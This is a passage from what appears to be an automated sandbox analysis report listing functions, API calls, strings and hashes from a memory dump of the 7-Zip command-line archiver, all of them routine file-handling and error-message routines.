Instruction ID: ada0839392d02d23508fe6206b979a229c1a881c2e83ea8b8c625cc873475e9b
Opcode Fuzzy Hash: 9ea681c350cecb0b42c71b1f35ea49690d0665b5843397cde649d2af5f6ea4c4
Instruction Fuzzy Hash: 3A016D26304A0051CE38AB68BC513E913215BD6BB4F5C1331EDAA8B3E5EF2AC9D68700

Function 0012211C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00122137
free.MSVCRT ref: 001221BB

Part of subcall function 00116618: FormatMessageW.KERNEL32 ref: 00116676
Part of subcall function 00116618: LocalFree.KERNEL32 ref: 00116698

Part of subcall function 0011362C: memmove.MSVCRT ref: 00113659

free.MSVCRT ref: 00122182

Strings

: , xrefs: 00122151, 00122187

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ErrorFormatFreeLastLocalMessagememmove
String ID: :
API String ID: 1743135865-3653984579
Opcode ID: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction ID: 4da7d633fffaa81f7360e8ac8130f388387355a396cba760d27c0ce1a0482288
Opcode Fuzzy Hash: 0bd9cf6b41112b825cc91f2e3a5d39e6d602e68f921f465e2c8b822415a3c1c2
Instruction Fuzzy Hash: C301336730090091CA25EB25E8402DA6721EBD9BF4F585331BE6E477BDDF28CAC6C740

Function 0011C878 Relevance: 6.0, APIs: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 0011C898
ReadFile.KERNEL32 ref: 0011C8B3
GetLastError.KERNEL32 ref: 0011C8CD
GetLastError.KERNEL32 ref: 0011C8DC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction ID: 6076abeedab9ba608b1ebd70d441eedb066c8199bcb5e4553c7d8eccfb385a43
Opcode Fuzzy Hash: e021971f243c9fea39bb415f90c700eab78ade398cc3b993660b20944e3800b0
Instruction Fuzzy Hash: 7A012B22760864CBD7255B3D9D403E96294B748BE6F914135FE4ACFB50DB28CCC287C1

Function 0015ACDC Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

Strings

System ERROR:, xrefs: 0015AD34
Break signaled, xrefs: 0015AD14
ERROR: Can't allocate required memory!, xrefs: 0015ACF6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs
String ID: Break signaled$ERROR: Can't allocate required memory!$System ERROR:
API String ID: 1795875747-932691680
Opcode ID: ab942afea8ab6607a7c9d9281537d5881677c1f1a7467293dd987fcb7a8caf1a
Instruction ID: 967b2e1d024469e3dfbc7f1148d312835f1b4663370342c7a3ce4cc9a2d2baa3
Opcode Fuzzy Hash: ab942afea8ab6607a7c9d9281537d5881677c1f1a7467293dd987fcb7a8caf1a
Instruction Fuzzy Hash: 06015231281904D5DB09EB60EC403E82730EBA5747FC45621ED1E4B664EF38C9C9C382

Function 0011695C Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32 ref: 0011697E
RemoveDirectoryW.KERNEL32 ref: 001169B8
free.MSVCRT ref: 001169C8
free.MSVCRT ref: 001169D6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: DirectoryRemovefree
String ID:
API String ID: 736856642-0
Opcode ID: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction ID: 7161c153926bf0362d6d5723c8113609c3ea39bfea093d699a232ebf64f1d118
Opcode Fuzzy Hash: efb7360f27999ac7bd03661593c0501c8d3dd599b59c9a8bab47d3410f2a5fdb
Instruction Fuzzy Hash: EEF0866720464886C938AB2199503BD57249B967F8F480331DEA9476A5DF26C9C68700

Function 00112EF4 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00112F5B

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

memmove.MSVCRT(?,Unsupported switch postfix -stm,00000000,0011302B,?,?,?,?,00113698), ref: 00112F2C
free.MSVCRT ref: 00112F34

Strings

Unsupported switch postfix -stm, xrefs: 00112EF6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: Unsupported switch postfix -stm
API String ID: 3321538808-3553869907
Opcode ID: 79aff19e84f71c5e943c7f2cebb507195fcbf850f662f6b8687f40e2979c5786
Instruction ID: f60e9fab8d2a384a0189d239fda26d9ff707530b8fa361b6263cba42806ddd59
Opcode Fuzzy Hash: 79aff19e84f71c5e943c7f2cebb507195fcbf850f662f6b8687f40e2979c5786
Instruction Fuzzy Hash: 8EF0CD7670028586DA2CDF8AE4902ADA361EB957E0F148030EB9A0BB11CB39D8D68B00

Function 00112A9C Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00112AFD

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

memmove.MSVCRT ref: 00112ACE
free.MSVCRT ref: 00112AD6

Strings

(LP-, xrefs: 00112A9E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ExceptionThrow$freemallocmemmove
String ID: (LP-
API String ID: 3321538808-3833670221
Opcode ID: 5d4d380ffa6524cac6d63a35271a780ed9a8549063819f503eb306886d5a4236
Instruction ID: cc8037fbc347df45132046e2878ba2d68535c22ca53e4c146e4b74720e9c9ae0
Opcode Fuzzy Hash: 5d4d380ffa6524cac6d63a35271a780ed9a8549063819f503eb306886d5a4236
Instruction Fuzzy Hash: F6F0F07270024586DA28DF4AF8902ADB321EB987D4F14C030EF9907B10DB38C8DA8B00

Function 00153E08 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00153E51

Part of subcall function 00152B60: CompareFileTime.KERNEL32(?,?,?,00000000,00153E64), ref: 00152BA5

Strings

streams, xrefs: 00153E64
alternate streams, xrefs: 00153E2D
files, xrefs: 00153E14

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CompareFileTimememmove
String ID: alternate streams$files$streams
API String ID: 1303509325-806849385
Opcode ID: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction ID: b7768aa7e96279e2d1ae72664d5a7c95504ffdf8a13a07e3afbbb56e08308f53
Opcode Fuzzy Hash: be883e452b7650b9078f8113c3e616bbeedde65b08412c4df6c6f1594ccd81f0
Instruction Fuzzy Hash: 8BF062623105A9A2EB24EB66E915BD96321FB55BC5FC05013AE2C0BE549F38C3AEC740

Function 00116618 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32 ref: 00116676

Part of subcall function 0011339C: free.MSVCRT ref: 001133D7
Part of subcall function 0011339C: memmove.MSVCRT(00000000,?,?,00000000,001110A8), ref: 001133F2

LocalFree.KERNEL32 ref: 00116698

Strings

Error #, xrefs: 00116714

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: FormatFreeLocalMessagefreememmove
String ID: Error #
API String ID: 2451246624-1299485822
Opcode ID: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction ID: a254dcfe6548a6a11f53673a3dee4a5e0240618f7a73421cedc1b6d93f36e9b2
Opcode Fuzzy Hash: 99fd73fc856dad1e88b4ccb444db1a8165f30a332f2d2e9cd02aa09722ea5f5f
Instruction Fuzzy Hash: 5F21233221468086CB28CF15E4417DE77B1E3D57A4F848236DA988B798EF79C1C8CB10

Function 001149A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

UNC, xrefs: 00114A59

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID:
String ID: UNC
API String ID: 0-337201128
Opcode ID: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction ID: 2025a617a4597a73163fca935eafadf352d8548038ecd4f0866010c1845a13dd
Opcode Fuzzy Hash: caa09ef79893b1e0c723e2139b0e345877b12b567cf7e66d5e2a6cc5cce0967e
Instruction Fuzzy Hash: E0213E76340A45C7DB28CB56E4807E92360EB88F9AF569037CF4A4B720EB3AC8C5C705

Function 001505F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00150661
free.MSVCRT ref: 00150680

Part of subcall function 0015B1C8: memset.MSVCRT ref: 0015B20D
Part of subcall function 0015B1C8: fputs.MSVCRT ref: 0015B232

Strings

ERROR: , xrefs: 0015065A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR:
API String ID: 2276422817-977468659
Opcode ID: 9885eecbbf6ca8fc6e066b44c4d0d806fd7fb2900e3a304f7a56ab35e13a5ef5
Instruction ID: 6f2c58c9628f5cde40552e8e988b7314d955d5d143ed2612dd96521c5be0ef1b
Opcode Fuzzy Hash: 9885eecbbf6ca8fc6e066b44c4d0d806fd7fb2900e3a304f7a56ab35e13a5ef5
Instruction Fuzzy Hash: 78118262211A0482DA29EB62ED553AE6320FBD9BE1F084635EE7B4B791DF3CC4D5C344

Function 0011B45C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0011B4AA
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,80000001), ref: 0011B4F8

Strings

Path64, xrefs: 0011B45C

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: QueryValue
String ID: Path64
API String ID: 3660427363-321863482
Opcode ID: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction ID: 050f8f9cd4e8fd90e44bc47c1101f695be7ab496c7795e72973c8aa791a95b87
Opcode Fuzzy Hash: ce2d8586953f7850c663cd00a09a8bd9eb970d832503358bfea85760a13bb2cd
Instruction Fuzzy Hash: D5216D76619600C7EB14CF25E49475E73A1F794B84F20902AEB8A07BA8DB38C885CF40

Function 0015427C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 001542DF

Strings

Can not open the file as archive, xrefs: 001542D8
Can not open encrypted archive. Wrong password?, xrefs: 00154297

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs
String ID: Can not open encrypted archive. Wrong password?$Can not open the file as archive
API String ID: 1795875747-2399861261
Opcode ID: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
Instruction ID: 178c464285ba98041c2e14df02c37622751404a325a7e002e389c20d8c49298d
Opcode Fuzzy Hash: 149c3983409531ef4f283d50ab509c3b453b3246c3b38dfffb22ccf5e133ea28
Instruction Fuzzy Hash: C8018F62320655D3EF18AF26E84039D1321BB59BC6F54A032EE2A4B344CF3DC4E9C301

Function 001193D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 0011941A
wcscmp.MSVCRT ref: 00119430

Strings

\??\, xrefs: 001193E6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: wcscmp
String ID: \??\
API String ID: 3392835482-3047946824
Opcode ID: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction ID: 5616de9ecd104072a22c552886a08cd1a55e625134482d20382160e9af8d1895
Opcode Fuzzy Hash: 877544d1592a68484731fd63782ff1f2adae2ffaa1fbb9196b429caabd26276c
Instruction Fuzzy Hash: 22F09062204944D2DE18DB2AEAB03ED1321FB94B86F905436CB6A47A14CF20D4FBC311

Function 0015B7C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 0015B7E4

Part of subcall function 00112300: fputc.MSVCRT ref: 00112311

Strings

Scan , xrefs: 0015B7F6
Scanning the drive:, xrefs: 0015B7DD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputcfputs
String ID: Scan $Scanning the drive:
API String ID: 269475090-1085461122
Opcode ID: 4a104878c2e5f0d323a3430e672efaa3bd5f76afab79e0bd6a72b63798dffa16
Instruction ID: 421b6ba834c3317e1113539e9fafe50469116370ecab3da88fade02a3206eb72
Opcode Fuzzy Hash: 4a104878c2e5f0d323a3430e672efaa3bd5f76afab79e0bd6a72b63798dffa16
Instruction Fuzzy Hash: 28E08675301D4181DE05DF29DE853DC1321AB98BE9F955431DE1D4B264EF28C5DAC310

Function 0013EC5C Relevance: 5.3, APIs: 4, Instructions: 261COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013ECEE
free.MSVCRT ref: 0013ECF6
free.MSVCRT ref: 0013EFE3
free.MSVCRT ref: 0013EFEB

Part of subcall function 00114D78: free.MSVCRT ref: 00114DBC
Part of subcall function 00114D78: free.MSVCRT ref: 00114DC4
Part of subcall function 00114D78: free.MSVCRT ref: 00114EAC

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction ID: 706e33eaf8913faba5df13d492cc6ad536bf2b718d060cd062f7c07d0491b104
Opcode Fuzzy Hash: 2568c4c8a93fed0a7db5756fe4b5abc77c557bdbfdb6e41abb2639136c3796b8
Instruction Fuzzy Hash: 56A1F032314B81D6DB28DF26D4843AE77A1F794B90F044126EF9E477A5EB79C895C700

Function 001159E0 Relevance: 5.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00115ABB
free.MSVCRT ref: 00115ACE
free.MSVCRT ref: 00115AD6
memmove.MSVCRT ref: 00115AEE

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction ID: f6c5f1c3b959383561c2ccbd0bc138e31da6cd6d20d3519f7a5ab1552f68a665
Opcode Fuzzy Hash: 690fc6323045f1499638e60008430e199e5b92b8d4d6359a2f546a67527e5006
Instruction Fuzzy Hash: 4F418422218E80D68B18EF22E4910AEB762F7D1FE47544231EB6A17769DB74C8D6C704

Function 001425DC Relevance: 5.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0014279A
free.MSVCRT ref: 001427A7
free.MSVCRT ref: 001427B4
free.MSVCRT ref: 001427C1
free.MSVCRT ref: 001433CE
free.MSVCRT ref: 001433DB
free.MSVCRT ref: 001433E8
free.MSVCRT ref: 001433F5
free.MSVCRT ref: 00143430
free.MSVCRT ref: 0014343B
free.MSVCRT ref: 00143444
free.MSVCRT ref: 0014344F
free.MSVCRT ref: 0014345D
free.MSVCRT ref: 00143484
free.MSVCRT ref: 0014348D
free.MSVCRT ref: 0014349B
free.MSVCRT ref: 001434A6

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction ID: 9cdd4635dc1af990a8cf8745234dcc8c1bca2025da034f2247a625b1a9f2d79b
Opcode Fuzzy Hash: 2d395fef6bf6d2161f205ad2dbd11117f8f32b2c6da05af5b4328dea44ce9941
Instruction Fuzzy Hash: 5641816650C6C485CA75CB21A054AEEBB75F3E6785F865106EBC953B2ACF38C8D4CB40

Function 00126B58 Relevance: 5.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00126B98
free.MSVCRT ref: 00126C80
free.MSVCRT ref: 00126C88
free.MSVCRT ref: 00126C9E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 323c9969710448a883c5df48d84fecfab0fddd235bddb9be855929d7e43add65
Instruction ID: 52eb2960e8c2d81f9a72a3550ee3c4896932202a0a3141e8037dbb8444466a59
Opcode Fuzzy Hash: 323c9969710448a883c5df48d84fecfab0fddd235bddb9be855929d7e43add65
Instruction Fuzzy Hash: 2F31D4776156A08ACB25EF25B4406A97760F7C8BE4F184236EEAA477D8DB34C862C710

Function 0013A034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0013A070
free.MSVCRT ref: 0013A078
free.MSVCRT ref: 0013A0E2
memmove.MSVCRT ref: 0013A118

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 35a1d6c259a3625b378e1dffe93dee20d714f09e6227e3efd6c4fd439d23f854
Instruction ID: 58b2e59f3386e5b1f01f51e03acfafc63c29ecc383713bd8325bc4d1f3658c36
Opcode Fuzzy Hash: 35a1d6c259a3625b378e1dffe93dee20d714f09e6227e3efd6c4fd439d23f854
Instruction Fuzzy Hash: A0210563301B8099DB19AF26EC5576A6754BF55B94F9C8138EFA90B380DF78C886C312

Function 00114B58 Relevance: 5.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00114BA5
free.MSVCRT ref: 00114BAD
memmove.MSVCRT ref: 00114BEA
free.MSVCRT ref: 00114BF2

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 907a790e22709f66cba6a81009bdf1bb2919779642d070dbe716919cc3937b99
Instruction ID: 1140776c8c5cee6823e5aee3744fc53b089a069d39f0649ee2b7a5eec4e0e038
